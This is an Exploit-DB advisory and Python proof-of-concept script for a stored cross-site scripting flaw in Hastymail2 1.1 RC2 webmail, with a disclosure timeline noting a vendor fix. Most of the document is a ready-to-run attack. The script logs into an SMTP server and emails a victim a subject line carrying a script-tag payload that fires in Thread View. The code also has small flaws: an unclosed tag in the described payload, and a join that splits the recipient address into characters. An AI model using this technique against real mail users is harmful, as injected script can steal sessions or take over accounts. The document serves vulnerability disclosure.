hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting

EDB-ID:

20578

CVE:



Author:

Shai rod

Type:

webapps


Platform:

PHP

Date:

2012-08-17


#!/usr/bin/python

'''

# Exploit Title: Hastymail2 Webmail Stored XSS
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hastymail.org
# Software Link: http://sourceforge.net/projects/hastymail/files/latest/download
# Version: 1.1 RC2
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#17 Aug 2012: Discovered Vulnerability.
#17 Aug 2012: Sent details to the developer.
#17 Aug 2012: Fixed - http://hastymail.svn.sourceforge.net/viewvc/hastymail?view=revision&revision=2078

About the Application:
======================

Hastymail2 is a full featured IMAP/SMTP client written in PHP. Our goal is to create a fast, secure, compliant web mail client that has great usability. 
Hastymail2 is much more lightweight than most popular web based mail applications but still maintains a competitive feature set. The project originated 
as Hastymail in 2002, then was nearly completely rewritten as Hastymail2 starting in January of 2008. We have had several stable releases of the second 
generation of Hastymail and development continues to be active.



Vulnerability Description
=========================

1. Stored XSS in email subject in Thread View.

XSS Payload: <script>alert("XSS")<script>

Send an email to the victim with the payload in the subject field.
When the client opens the message and selects "Thread View" the XSS will be triggered.

'''

import smtplib

print "###############################################"
print "#      Hastymail2 1.1 RC2 Stored XSS POC      #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Hastymail2 Webmail XSS POC"
xss_payload = """<script>alert("XSS")</script>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"